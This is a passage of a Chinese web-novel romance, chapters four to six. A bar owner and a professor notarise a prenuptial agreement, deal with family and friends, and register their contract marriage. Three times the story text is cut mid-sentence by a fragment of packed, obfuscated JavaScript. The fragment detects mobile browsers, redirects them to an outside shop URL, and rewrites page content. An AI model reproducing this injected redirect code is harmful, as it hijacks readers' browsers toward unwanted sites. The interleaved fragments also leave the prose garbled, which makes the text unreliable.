“不打扰你工作,我做事也不可能影响你,”蒋凛看着窗户上的水痕,给池砚青摘得干干净净,“除了必要,你就当没我这个人。” 这几句话放象棋里就有点像将军了,池砚青意味不明地瞥了眼蒋凛的脸,应了一声,算是回应。 蒋凛也不委婉了,直接道:“池老师,我们领证儿吧。” 池砚青拇指轻轻刮了下方向盘,声音还是很稳:“什么时候?” “这周我都不忙,先做婚前公证吧,”蒋凛说,“看你。” 池砚青不觉得婚姻是儿戏,只是有些事拖下去成本只会更高,眼前人已经是已有选择里最合适的那个了。 他回忆了一下工作安排,说:“周六,上午八点。” “好,我去接你。” “我开车。” “那你接我,我在你家楼下等你。”蒋凛说。 这算什么接。 池砚青看了蒋凛一眼,压下眼尾的笑意,说:“行。” 正是堵车的时间,加上下雨,平时二十分钟的通勤,池砚青开了四十多分钟。 池砚青想送蒋凛到家,蒋凛没让。 快到池砚青家的时候,他找了个方便的路口让他停下了。 蒋凛下了车,外边雨已经小了,变成毛毛雨,他就没打伞。 他扶着车门弯腰看着池砚青,一层薄雾似的雨落下了,轻易打湿了发梢。 “说好了不用送,我就蹭个车,”蒋凛笑得跟捡钱了似的,一点儿不藏着,“你回家早点休息。” 池砚青看着他,被他逗得也有些想笑,最后只是说:“打伞。” “嗯,”蒋凛晃了晃手里的伞,“知道。” 池砚青的车开远了,蒋凛又攥了攥手里的伞,掌心都洇湿了才想起来打开。 他举着伞,一边往旁边的商铺走,一边拿出手机给老妈发了条消息。 【妈,我要结婚了】 4. 第四章 一石激起千层浪。 蒋怀山一个电话,蒋凛从酒吧赶回了家。 方素云手还湿着,听见开门声从厨房迎了出来:“你爸在书房呢,我刚跟他说完他就把酒拿出来了,挺长时间没这么高兴了。” 蒋凛进门先弯腰换鞋,好几年没在家住过了,但他的东西都准备着。 方素云站在旁边,蒋凛换完鞋她也没动。 看蒋凛洗了手要过去了,她才拦了下,笑容有些过分的热情:“朔朔十一放假回来,说想去你店里玩,让我提前问你方便吗。” “方便,”蒋凛看着她,“他说的?” 方素云避开他的视线,开始规整鞋柜上放的东西:“这孩子脸皮薄,不好意思问。” 蒋凛笑了下,心里已经有了数:“可以,他来之前给我打电话,我带他去。” 蒋怀山酒量不高,桌子上只有个几厘米高的敞口小瓷杯,蒋凛拉着椅子坐到他旁边儿的时候,瞧见里面还剩半杯白酒。 人已经微醺了,眼神有点飘。 “婚礼时间定了吗?”蒋怀山问。 “您这是醉了吧,”蒋凛一乐,“我俩办什么婚礼,又不是正经过日子。” 蒋怀山心情是真不错,居然没骂人,说:“以后也能补,日子长着呢。” 蒋凛附和:“是,一年呢,三百六十五天,您送我三百六十五个祝福吧。” “没个正型。”蒋怀山瞅他一眼,说话声没平时高。 蒋凛懂这种状态,声儿高一点就该晕了。 说起来好笑,他们爷俩长得都挺高,但这么壮的大老爷们酒量就是这么的微乎其微。 蒋凛是打车来的,他的车扔A大校门外了,也不怕喝酒。 他顺手给自己也倒了小半杯,轻抿了一口。 68度。 “您心情是真好,都敢挑战这个度数了。”蒋凛说完就把酒杯放下了,他想竖着回家。 “结婚日子定了吗?”蒋怀山问。 “还没有,周六公证,把婚前财产协议也定下来。”蒋凛说。 “尽早,”蒋怀山说完拿起酒杯,停在半空,“砚青是个不错的孩子,好好相处,你安稳下来我就放心了。” 蒋凛从小到大也没让他操过心,这句放心也不知道是往哪放。 他笑笑,举起自己的酒杯,跟老爸碰了一下。 爷俩一起抿了一口,同时眯了眯眼睛。 没半分钟,蒋凛脖子就有点红了。 蒋怀山眼见着酒劲儿上来了,赶紧说正事。 “你结完婚,旁边那两个店面就过给你,你自己想怎么折腾就怎么折腾。还有——” 他不给蒋凛说话的机会,直接从抽屉里拿了张卡放到桌子上。 “拿着,你过日子心里没数儿,别用钱的时候拿不出来,让人看轻了。” 蒋凛没伸手,余光里老妈从客厅收拾到了书房门口,正在往这边看。 方素云走进来,很小幅度地瞥了眼桌面,才说:“给你们拿点水果,少喝点酒,对身体不好。” “我们爷俩说话,你出去,”蒋怀山不悦地敲了敲桌子,“把门带上。” 方素云脸色有些难看,这些年也习惯了,她尴尬地笑笑,转身往外走。 “谢谢妈。”蒋凛拿了个葡萄,在她关门前一秒说,“爸,钱我用不上,您留着吧。当时说好了,我就要一个店面开酒吧,剩下的都跟我没关系。” 方素云关门的动作轻轻抖了一下。 蒋怀山不太痛快,“那是你说的,你老子没答应!拿着句废话当令箭呢。” “正经当了,说出去的话掉地上都得砸个坑,不收回来,”眼见着老爸要发火,蒋凛又跟他碰了个杯,“可能随根儿吧,我爹也这么有脾气。” …… 蒋怀山让他气笑了:“你别后悔,里边钱不少。” “跟您说过好几遍了,我不缺钱。”蒋凛铁了心不要。 “行,过这村没这店,以后也别找我要。”蒋怀山这么多年也骂够了,现在蒋凛婚姻大事都定下来了,这点细枝末节的他懒得多管了。 喝完酒已经快十点了,蒋凛准备走。 蒋怀山忽然说:“领完证,你去告诉芳楚一声吧,让她也高兴高兴。” 蒋凛站起来的动作顿了一秒,他应了声:“嗯,我去跟我妈说。” “带束花,”蒋怀山喝了酒,声音有些模糊,“她喜欢玫瑰,买大红的,别买那些个白的黄的,不好看。” “知道,”蒋凛笑了,“我妈喜欢什么我还不知道么。” 下过雨,地上都是湿的,晚上的温度有些凉。 蒋凛喝完一小杯酒,其实已经醉了,但他酒品好,说是醉了也能硬撑着回来。 下了出租车,他顺着小区的路往家的方向走。 空气里潮湿的气味儿从毛孔渗进来,混着酒精一起在身体里缓缓沸腾。 蒋凛抬头看了眼天上的月亮,脑子已经不清醒了,心里却突然有了实感。 要结婚了,他马上就成家了。 …… 再怎么合作,也是结婚。 结婚是大事。 他该去正式跟林芳楚女士说一声了,说说他是怎么相中的,怎么见色起意计上心头步步为营地把自己连捆带绑地砸池教授手里的…… 想着想着就笑了出来,胸口一直堵着的感觉也顺了很多。 方素云这位继母对他一直不错,但蒋朔是她和老爸的亲生儿子,和蒋凛到底隔着一层。 蒋怀山不是一碗水端平的人,愧疚也好,弥补也罢,他对蒋凛就是比蒋朔上心。 蒋凛这些年夹在中间,方素云的为难他看在眼里,他不忍心看一个尽力维护家庭的继母难办,也早就意识到他必须做的选择—— 想要关爱就不能要钱,要了钱就会被提防。 他早就选好了自己要的,剩下的他不贪。 洗了个澡,把自己砸进床里,蒋凛没怎么辗转就睡着了。 一觉睡到大天亮,他趴在床上揉了下头发,拿过手机看了眼时间——九点十分。 微信有未读消息,联系人池砚青。 蒋凛愣了一秒,紧跟着彻底清醒了,他吸了吸鼻子点开。 【这些公证材料,提前准备】 下面是列得清清楚楚的材料名单,傻子都能看懂不落下的那种。 “现在的学生是多让人操心啊,”蒋凛忍不住笑了出来,“这么周全。” 他下巴枕着手臂,单手打字。 【收到】 周六当天蒋凛提前到了池砚青家小区外边,跟门卫说了一声,走到楼下等着。 家庭住址这些,对蒋凛来说可太好打听了。 蒋老板别的不多,人脉这一块,相当权威。 蒋凛早到了十分钟,他没给池砚青打电话,自己在楼下站着,看着相当体贴。 八点一到,池砚青准时地走出来,看见蒋凛时眼里没有惊讶。 “池老师,早上好。”蒋凛笑着打招呼。 “早上好。”池砚青也很淡地笑了一下。 他穿着很正式的西装,头发和手表也都是认真打理搭配过的,一看就是等会儿还有正事要办。 反观蒋凛,T恤牛仔裤,洒脱得不得了。 池砚青开车,蒋凛第二次坐上了他的副驾。 上车后蒋凛往后靠了靠,座椅角度和上次坐的时候一样,对蒋凛这个身高来说坐着不算舒服。 “池老师,我调一下靠背。”蒋凛没擅自动,池砚青点头了他才弯腰把座椅往后调了个角度。 蒋凛调的有点儿刁钻,稍微比他矮一点的要想坐着舒服就得往前调,但也不至于太难受——和池砚青关系不那么熟稔的可能就忍着不动了。 池砚青把他的动作都看在眼里,没说什么,等蒋凛折腾完就把自己的材料递给了蒋凛。 这个动作有点儿莫名,他可以放的地方太多了,偏偏放在了蒋凛腿上。 蒋凛微微挑眉,刚要开口,池砚青说:“看看有没有缺的,还来得及取。” 哦,是想让他看看有没有忘带的。 “应该没有,你列的那么清楚。”蒋凛边说边拉开两个文件袋,一样样看过去。 看完说:“我都带了。” 池砚青开车很稳,蒋凛手里拿着起草的协议,低头忍不住读了下去。 “坐车别看东西,”池砚青忽然说,“晕。” “没事,我不容易晕。”蒋凛抖了抖手里的纸,上面有手写的部分,应该是池砚青亲手写的,字很好看。 “我晕。”池砚青说。 蒋凛一愣,反应过来没忍住乐了,他立刻收起协议。 “池老师你跟我想的差不多。” 池砚青看了他一眼:“哪个方面?” 蒋凛语气挺轻地说了句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886708|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“娇气。” 车里陷入了短暂的沉默。 池砚青脸上表情没有变化,看不出对这两个字评价的态度。 “放心,”蒋凛轻巧地打破沉默,半玩笑半认真地说:“以后在你车上我不看带字的东西。” “不用这么懂事儿,晕不耽误我开车。”池砚青轻飘飘地接住他的话,往上托了一下。 蒋凛哈哈笑了出来:“难受着还得让你开车,那我也太损了。” 池砚青也笑了,蒋凛转过头,在心里默默记住,池砚青不喜欢这种玩笑。 证件和材料准备得齐全,公证流程走得很顺,只在婚前协议的部分出了点小分歧。 协议是池砚青起草的,昨天才正式写完,发给蒋凛后他大概看了眼就放下了。 签字前池砚青不知道怎么看出了他没仔细读。 蒋凛没在意,还开玩笑说:“你还能把我卖了么?池老师,你又不是什么坏人。” “你怎么知道我不是,”池砚青把那张纸抽出来放在他面前,微微皱着眉,“不看清楚,卖了你也得帮我数钱。” 他语气有点沉,带着明确的压迫感,蒋凛的学生细胞突然被唤醒,不自觉就坐下了。 池砚青按着他,要求他从头到尾认认真真看一遍,然后提意见,他们可以商量可以改。 蒋凛无奈地看着协议,像个被抓去办公室写作业的捣蛋学生,一字一句地读。 读到关于“家庭义务”的条款时他顿了下,上面写着可以配合对方回家看望长辈。 池砚青家里不要求这个,这一条明显是为了蒋凛加上的。 “你不用管我家那边,我自己能扛。”蒋凛在纸上划了划。 “见面吃个饭就解决的事,没必要扛,”池砚青站在他旁边,轻轻点了点纸面,“这是婚姻的一部分。继续看。” 蒋凛没坚持,低头往下读。 有一条关于“同居”的,他低声读出来:“配合上级考察,需要短暂同居,不必履行义务……同居,是我理解的那个吗?” “分房睡。”池砚青言简意赅。 “不是这个,”蒋凛摸了摸后脑勺,“我作息不太好,忙的时候可能得凌晨两三点到家,早上……我就没有早上,起来都快中午了。” 他想说的是他可能会影响池砚青休息,至于分不分房,他都无所谓,两个一米八多的大男人,谁还能把谁怎么地么。 “我起得很早,可能会影响你。”池砚青微微弯腰,声音从蒋凛耳边传过来。 蒋凛喉结不明显地滚了一下,他掩饰地笑笑,说:“那我们扯平了,吵到你了就跟我说,我注意。” 他眼睛往下扫,看见什么,立刻说:“这个,陪你出差是——” 池砚青低头看向同一行:“第一天跟我去,参加完饭局就可以回来。” “这个没问题,”蒋凛说,“我工作日时间比较散,排得开。” 协议内容一一确认过,蒋凛和池砚青一起在下面签字,按了手印。 等过几天公证证书下来,他们去领了结婚证,成为合法夫夫,这份协议就正式生效了。 出了公证处,池砚青问蒋凛要去哪,他可以送他过去。 “不用,我等会儿打个车就行,”蒋凛看着他的西服,“你有正事呢,先办正事儿。” 池砚青看了眼腕表上的时间,拉开车门:“没那么正式,上车。” 说完就这么淡淡地看着蒋凛,仿佛他不进去就犯了什么错误。 “……我,哎。”蒋凛没办法,只能弯腰坐进去,他看着池砚青关了车门坐到驾驶位,越看越想乐。 “池老师,我真是怕了你了。” “现在就怕了?”池砚青看了他一眼,“来日方长。” “哈哈,行,”蒋凛脸上闪过一抹兴致,他伸出手,“请多指教了。” 池砚青目光在他脸上停留了一瞬,然后抬手,很稳地握住了他的手。 微凉的触感在蒋凛手上短暂停留,能感受到肌肤的柔软和指腹的薄茧,不等细究,池砚青已经收回了手。 “请多指教。”池砚青回应他的话。 车平稳地往前开,阳光透过车窗落在眼睛上,有些刺眼,也有些温热的舒服。 蒋凛往后靠,右手在腿边虚虚地握了握,掌心似乎还残留着一触即分的温度。 他转头看向窗外飞掠而过的建筑,唇角的弧度持续了很久。 5. 第五章 周五周六晚上是酒吧生意最好的时候,蒋凛没有急事不会缺席。 人多了就容易乱,他得亲自盯着。 上午池砚青把蒋凛送回了家,他也就老老实实在家联系新的酒水供应商,又订了一批新酒,约好过几天正式吃个饭。 等忙完快晚上七点了,他开车到店,刚进门就收获了一声“吼”。 “老板!成了吗成了吗?”温佳佳正在门口查身份证呢,看见他就两眼冒光,冲蒋凛吼完一扭脖子又对着里边说:“姐姐,我们店店草儿来了!” “一边去,”蒋凛笑了声,推着她脑袋把人扒拉到旁边,自己往里走,“好好的酒吧弄得跟什么违法场所似的。” 温佳佳根本不怕,笑嘻嘻地继续招呼人。 她嘴里的姐姐也不单指某个顾客,这一嗓子就是通知全体人员,老板来了,专程来看脸的顾客可以准备好尽情观赏了。 蒋凛先去吧台,林葳听见温佳佳的动静就立刻给他调了杯不带度数的“酒”。 蒋凛拿过酒杯,低声问:“今天怎么样?” “人挺多,没什么乱子,”林葳说着下巴点了点一楼卡座的某个方向,“有人等你呢。” 蒋凛笑了声,冲她抬了抬酒杯,就转身过去了。 卡座上是几个熟客,看见蒋凛打了声招呼。 蒋凛走过去,胳膊撑着小桌子低声跟他们说话。 “凛哥,有人说你要有好事儿了,是真的吗?”说话的是个戴眼镜的年轻男人,白白净净的,声音很温柔。 蒋凛跟他碰了个杯:“听谁说的?” “没谁,”男人垂了垂眼睛,明显有些醉了,“我白惦记这么长时间了。” 说完仰头想把杯里的酒都喝了。 “是呢,你再多惦记几年说不定就是你的了。”蒋凛替他挡了一下,没让他都喝了,这么一杯一口喝进去人得躺着出去。 他随口说:“再惦记几年,店都是你的。” 男人让他逗笑了,放下酒杯:“凛哥,你这儿按资排队啊?” “嗯呢,”蒋凛喝了口饮料,笑起来眼尾带着微微下压的弧度,嗓音是低沉的磁性,“找你林葳姐登个记,都记着呢。” 旁边人跟着笑:“你快别去了,林葳姐小本儿上人名都记满了,看一眼心都稀碎。” 挺尴尬难受的事儿,蒋凛几句话就给气氛拽回来了,几个人有说有笑地喝了会儿,他指了指楼上。 “我去谈点事,这顿我请,喝好了跟佳佳说一声就行。” 男人眼神还追着他,蒋凛自然地把他话堵回去,跟他朋友说:“回去路上注意安全,少喝烈的。” 蒋凛刚走上二楼,就听见赵晟的死动静。 “哟!蒋大官人!好哥哥,快来~” 蒋凛跟二楼的熟客打了招呼,才坐到赵晟旁边,借着音乐的遮掩,低声说:“把你闲的,我结个婚给你忙够呛,冰岛人知道了吗?” “啥冰岛?国家啊?”赵晟喝的半醉,反应有点慢,下意识说:“不知道吧……” “别喝了,”蒋凛啧了声,“滚出去宣传,让全世界都知道Room Temp的老板马上结婚了。” “……”赵晟愣了会儿,才说了声“靠”,也小声说:“合着你骂我呢啊。” 蒋凛笑着冲远处的顾客举了举杯,嘴里低声说:“是,我夸你呢,个傻逼。” 赵晟一脸无辜:“你不是相中了么,还怕人知道啊?咋的,怕那些冲着你来的客人心灰意冷不来了?” 蒋凛倒是希望人能鸟悄地就不来了,现在看,哪个都得他当面唠唠。 偷不了一点儿闲了。 这么会儿功夫,上厕所的庄礼年也回来了,三个人围成一圈大眼瞪小眼。 “审我呢?”蒋凛懒洋洋地靠着沙发,看着闲散,其实眼神一直看着一楼的人群,盯着动静。 “没人审你,”庄礼年今天不喝酒,他后半夜还得哄孩子呢,“就想在扯证儿之前问问你,到底怎么想的。” 赵晟点头:“是真相中了?死心塌地深陷情网非他不可……” “说得跟失心疯了似的,”蒋凛打断他俩,“我碰见个挺好的人,还不许追了?” “不是说这个,你以前哪追过人啊,都是人追着你跑……”赵晟说。 “你见过谁拿结婚证追人的?”庄礼年打量他,“封心锁爱两年多了,那老师到底给你灌了什么迷魂汤,我说认真的,别给你骗财骗色了。” 蒋凛嗤了声:“我还能让别人给我骗了?” 话是这么说,蒋凛低头喝了口水,玻璃杯上凝结的水珠冰着他手指。 他忽然想起今天上午,池砚青签字时,那只骨节分明,瘦长漂亮的手…… 蒋凛在心里琢磨了一会儿,被自己满脑子的乱七八糟弄得有点儿想笑。 他坦然地想,池砚青的长相和身材,真到了那一步,他也不吃亏。 中心那边新申请下来一个项目,池砚青作为副主任,是主要负责人,不得不在学校中心两头跑,连着开了两天的例会。 他做事严谨,不容有差,为了安排好项目一直熬夜做方案。 节骨眼上,教研组的主任告诉他,有个大一的心理教育课这学期算到了他身上。 池砚青记得很清楚,他是明年的,今年怎么排也轮不到他。 对面挺不好意思,说今年的老师临时调遣,时间实在是错不开了。 这是推不开的“意外安排”,池砚青一边批论文,一边在日程表上又写了一笔。 带了一年的博士生在办公室开会的时候,瞅见他办公桌上的日程表,脸上的表情都有点惊恐。 私下里都在说,他们池教授可能是仿生人,不需要休息。 办公室门外,几个学生小声说话。 “我导要是哪天突然痛骂我一顿也情有可原,换成我每天一睁眼就八百件事等着我干,我早干爆地球了。” “放心吧,”旁边的女生拍拍他肩膀,“这么重要的事不会等着你去干。” “……” 收到公证处短信的时候,池砚青正在学校加班,他看了一眼就放下了手机。 在他眼里,这次结婚不是什么大事,但也算不上小。 他父母都是科研人员,人脉互通,孙教授肯定也知会过他们,但池砚青一直没收到电话。 下班到家,池砚青脸上的疲惫遮掩不住。 他喝了口水,稍微缓了缓,主动给他妈打了通电话。 “砚青啊,是要说结婚的事儿么?”唐冬华语气里尽是疲惫,“我这几天太忙了,忘记问你了。” 池砚青靠着冰箱,手里握着一瓶冰水,嘴角有很淡的笑,眼底却一片平静:“嗯,明天去公证处取文件,顺利的话当天就能领结婚证。” “挺好的,孙教授介绍的人不会出错,”唐冬华说完,沉默了一会儿,才说:“项目的事你多上点儿心,上面看重你,别辜负别人的期望。” “知道,”池砚青说,“你们注意身体。” “你也是。你爸那边别打扰了,他这些日子忙的很,血压有点高,我让他早点睡了。” “好,”池砚青低声说,“你也早点睡。” 挂了电话,家里就彻底安静了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886709|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 池砚青习惯性地反手捏了捏肩膀,聊胜于无。 他扔下手机和水瓶,去浴室冲了个热水澡。 出来的时候手机里有一个未接电话和几条未读消息,他点开看了。 来电是郑贺澜的。 消息也是。 【什么时候领证?】 【单身派对啊大教授,来不来?】 【我看你最近都忙疯了,再不出来人都憋傻了】 这人是池砚青的发小,两家还沾点亲缘,这么多年的关系了,说话没轻没重的。 池砚青拇指点着屏幕,回了两个字。 【没空】 紧跟着手机就响了,池砚青把手边的东西摆放好,才不紧不慢地按了接听。 郑贺澜的声音传出来,夹杂着让人头痛的噪音:“苏闻说你明天开始就不那么忙了,今天晚上通个宵?我在老地方呢。” “没空,”池砚青拿起烟盒,摸出一支放进嘴里,“明天领证。” “又不是真结婚,干嘛这么认真,”郑贺澜不理解,撺掇他,“到时候也是各玩各的,你也有日子没出来了,该找个人睡了吧?要我说——” 打火机发出一声清脆的“咔”,打断了他的话。 池砚青不咸不淡地说:“你闲得慌么?管这么宽。” 让人冷了一句,这位不也介意,继续插科打诨:“嗐,我也是为你着想,身心健康多重要啊,特别是身体健康……” 池砚青吸了口烟,没搭理他。 郑贺澜又说:“今天不来就不来吧,明天呢?” “没空。”池砚青让他吵得心烦,按了免提把手机扔到一边。 “……” 郑贺澜忽然意识到什么:“你不是吧,守身如玉呢?不是为项目合作吗,你这是……看上了?” “我看没看上他还是个未知数,”池砚青说,“我现在看不上你是挺确定的。” “得,我找骂来了我,”郑贺澜一点招没有,扭头像在跟别人说话:“你们都听见了,我尽力了,人不来不怪我。” 有人说:“砚青是真忙,你是真烦人,他过一阵不忙了就出来了。” 池砚青直接挂了电话。 白天听了一堆废话,晚上到家也没个消停,不论是池母的那句“别打扰”,还是郑贺澜的一堆噪音,都让他头疼。 一个人的时候没必要隐藏,池砚青微微皱着眉,沉默地抽完了一根烟。 没再贪下一根,他把烟盒放回原来的位置。 手机再次响起消息提示音,他等了一会儿才伸手。 刚碰到,电话铃声突然响了起来,池砚青神色依旧冷淡,看见联系人的时候也没什么波动。 “池老师,明天几点去公证处?我都行,我开车接你?” 带着明显笑意的声音像细小的火星,在池砚青沉闷的生活边缘烧穿了一个微不可查的小洞。 池砚青垂着眼,低声说:“下午三点。” 他没说自己开车,蒋凛立刻说:“那时候你是不是刚下课?我去A大校门外接你,你工作一天太累了,我开车吧。” 蒋凛的语速不快,声音也有些低,好像觉得到了晚上,再大声说话就是种打扰了。 很隐秘的体贴。 池砚青很轻地笑了声,情绪里有藏得很深的自嘲,也有无奈。 他不得不承认,这样说话的蒋凛,他有些受用。 “可以。”他说。 蒋凛挺高兴地“嗯”了声,没再多话,只说:“你早点儿休息,明天见,晚安。” “嗯,”池砚青说,“晚安。” 6. 第六章 来A大之前蒋凛提前问了叶析言下午有没有课,给她带了吃的,问她还想要什么,他顺路都买了。 叶析言说下午第一节没课,点了四份漂亮饭和室友一起吃。 蒋凛直接把东西拎到她宿舍楼下,打电话让她下来取。 叶析言蹦着出来,离六七米远就喊了声:“哥!” “慢点儿,等会摔了。”蒋凛往前走了几步,把东西递给她。 “哥,你就是我的大恩人……”叶析言打开塑料袋低头闻了一鼻子,又猛一抬头,眯着眼看他:“你今天要谈生意啊?” “不谈,别撒了。”蒋凛帮她托了下塑料袋。 叶析言还是眯着眼睛:“不谈生意还穿得西装革履的,手上的串儿呢?你不是不爱戴手表吗?” 她眼睛猛地睁大:“你是不是要约会去?相亲?我舅是不是又逼着你去相亲了?” “眼睛真尖,不相亲,”蒋凛轻飘飘地扔下个重磅炸弹,“等会儿要去结个婚。” “哈?!”叶析言瞪着他,“和谁啊?真的假的?你别逗我啊。” “真的,”蒋凛笑了声,“等你放假回去再跟你说。” 他很自然地转了话题,“你明天怎么回家?打车费劲,我过来接你。” 今天九月二十九,明天晚上学生十一放假回家,叶析言家就在本地,放假的时候打不着车,挤公交又太麻烦。 从她小学时候蒋凛就经常接送她,以前是骑自行车,长大了买车了,就开车接。 “我明天晚上五点下课,”叶析言还在消化刚才的消息,“哥,今天你真帅,我靠……结婚……” “什么话说的,我哪天不帅,”蒋凛揉了揉她脑袋,“明天我在学校门口等你,东西多就给我打电话,我接你。” 叶析言茫然地比了个OK。 蒋凛确实给自己好好拾掇了一遍,人一辈子能领几回结婚证,退一万步说这也是大喜的日子。 池砚青下课后给他打了电话,蒋凛说完车停在哪,人就下了车,站在旁边当坐标。 等人的时候他想起叶析言的话,特意看了眼后视镜,确认里边的人又帅又正式,衣服和脸都是顶配。 看完自己又觉得好笑,扯了扯领口,当初第一回跟人谈生意都没这么打扮。 不到十分钟,池砚青就到了。 蒋凛看着从远处走过来的池砚青,嘴角勾着,忍着没吹一声口哨。 不知道是今天有正式会议,还是因为要领证,池砚青今天也穿了西装。 不是公证那天穿的正式的版型,今天这种带点日常的,剪裁稍微宽松的让他眉宇间的清冷多了一丝人气儿。 这种款看着舒服,但很挑人,肩膀要够宽,胸够厚,腹部要薄……想穿得好看实在不容易。 这些池砚青恰好都有。 池砚青走得不算慢,身高在人群中很突出,蒋凛很远就看见他了。 视线顺着那张更突出的脸挪到脖子,外套敞开,里面的衬衫和领带一丝不苟,只有头发被风微微吹起。 以前觉得这人太淡了,摸不着看不清,这样看,至少能稍微碰一下了。 蒋凛光顾着看人,殊不知自己也是别人眼里的风景。 他今天穿得比池砚青更正式,修身得体的定制款,衬得宽肩窄腰。但他嫌热,外套搭在手臂上,衬衫也没系领带,领口的扣子解开几颗。 正式,但不算正经。 给这场本就是合约的领证仪式添了份认真,又不至于尴尬。 “池老师!”蒋凛主动喊了声。 “等很久了?”池砚青其实早就看见他了,原因跟蒋凛无二,太突出了。 “我先过来给小孩送点吃的,也没等多久,”蒋凛主动给池砚青拉开车门,脸上的笑从看见池砚青开始就没下去过,“之前跟你说过的,我姑家孩子。” 池砚青自然地坐上蒋凛的副驾,车里淡淡的水蜜桃味儿让他微微挑眉。 A大离公证处挺近的,蒋凛开的不急。 他找了个舒缓的爵士乐,音量调低,调完才说:“池老师,最近是不是挺忙的?” “是,事情比较多。”池砚青承认的很直接,他掐了掐鼻梁,眼底的疲惫流露出一点,但也只是一点。 他问:“很明显?” “别人可能看不出来,”蒋凛看了他一眼,“我看着还挺明显的。你没睡好吧?” “睡得挺好,”池砚青说,“就是没怎么睡。” 蒋凛一下笑了出来,手指轻拍了拍方向盘:“池老师,有没有人说过你挺幽默?” 池砚青也笑了:“目前还没有。” 同事觉得他是个严谨的学院派,很少跟他开玩笑,学生对他又敬又怕,至于朋友,更多时候觉得他说话带刺儿。 “也是,”蒋凛理解地点点头,“上班儿呢谁能幽默的出来。” 池砚青没深聊,随口问:“管理酒吧忙么?” “忙,我没雇经理,”蒋凛说得很实在,“酒水、设备、员工、顾客……都得我亲自权衡安排,事儿多还碎,看着天天像卖单儿似的,其实闲不着。” “怎么没雇经理?”池砚青问。 “不放心,也不想太清闲,”蒋凛半开玩笑地说,“人还是忙点儿好,闲着感觉要出毛病了。” 一路上蒋凛没说什么大事,只聊了些细微琐事。 两个人的关系其实挺尴尬的,说远马上扯证了,说近满打满算才见了几次面,话题控制不好就容易唐突。 好在都是情商极高的人,聊起来一个坦诚,一个淡然,倒也不沉闷。 到了公证处,很顺利地就拿到了公证文件,两个人开车直奔民政局。 到了地方,蒋凛看着来来往往的人,很轻地吸了口气,心里的真实感一点一点踩实。 他推开车门,“走吧池老师,还得排队拍照片儿呢。” “嗯。”池砚青跟他一起下了车。 蒋凛在自助拍照机前面的椅子上坐下,研究着怎么操作:“现在拍照片都自助的了。” 池砚青坐在他旁边,低声提醒:“领口。” “嗯?”蒋凛抬头看向池砚青的领口,“挺好的,没皱。” “先生——”工作人员掀开红色帘子,被两张帅脸晃得愣了下,才说:“用帮忙吗?” “谢谢,不用,”蒋凛问,“有时间限制么?” “没有,那个,领口可以让你先生帮你整理一下。”工作人员说完就放下了帘子,把空间留给他们。 蒋凛这才反应过来池砚青说的是他:“哦,我呀。” 他手抬到一半,忽然笑了出来,仰了仰下巴,看着池砚青说:“先生?帮个忙?” 池砚青视线在他脸上停留了一秒,知道这人是故意的,也没拆台,居然真的伸出手帮他系那几颗解开的扣子。 蒋凛眼神微动,眼尾压了压,有些藏不住的愉快。 “领带呢?”池砚青问。 “扔车上了吧,我不爱系那个,别扭,”蒋凛说完,过了会儿,又问:“我去取?” “不用,这样也挺好。” 池砚青的手不仅漂亮,还很灵巧,很紧的扣子他轻易就能扭进去。 系到靠近喉结的部分,蒋凛仰头的幅度更高了一点,呼吸也轻了,但池砚青的手还是碰到了一点。 蒋凛看着池砚青的睫毛,还有那双淡然的眼睛,耳后有些发热,感受到触碰的那一刻,喉结很快地滚了滚。 池砚青垂着眼,系好最后一颗,没立刻收手,他很自然地帮蒋凛抚平了衬衫肩膀上的一处褶皱。 等他收回手,蒋凛立刻按了按同样的位置,低声说:“熨好的,怎么还有褶儿。” “开车压的,”池砚青笑了声,“不碍事。” “那就行,”蒋凛嗓子有点发紧,他很快地按了按屏幕,“池老师,坐近点儿,等会儿我喊123。” 池砚青往他身边坐了坐,两个人肩膀挨着肩膀,手臂碰着手臂。 蒋凛偏头看了池砚青一眼,转头按下拍照,两个人坐直,同时勾着唇角笑出来。 “咔——”的一声。 第一张就拍成了。 红底的照片,即将粘在他们的结婚证上。 池砚青在网上提前预约过,拍完照片他们没排队,直接去取号机取了号。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886710|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今天不是什么特别的日子,阳历九月二十九,阴历八月初八。 加上来的比较晚,没等多久就到他们了。 “这么快。”蒋凛手里拿着两个人的资料和照片,跟池砚青一前一后走到柜台前,把东西一股脑都交了出去。 换了两张申请结婚登记声明书。 池砚青把旁边的笔递给蒋凛一支,两个人很短地对视了一眼,低头开始填。 在工作人员面前签了名,按了指纹,没过多久,两个红色的小本儿就被交到了他们手里。 过程简单的让人有些恍惚。 蒋凛摩挲着封皮,翻开看了一眼,红底儿合照上有个漂亮的钢印。 不等他细看,工作人员就指了一下:“颁证厅在那边。” 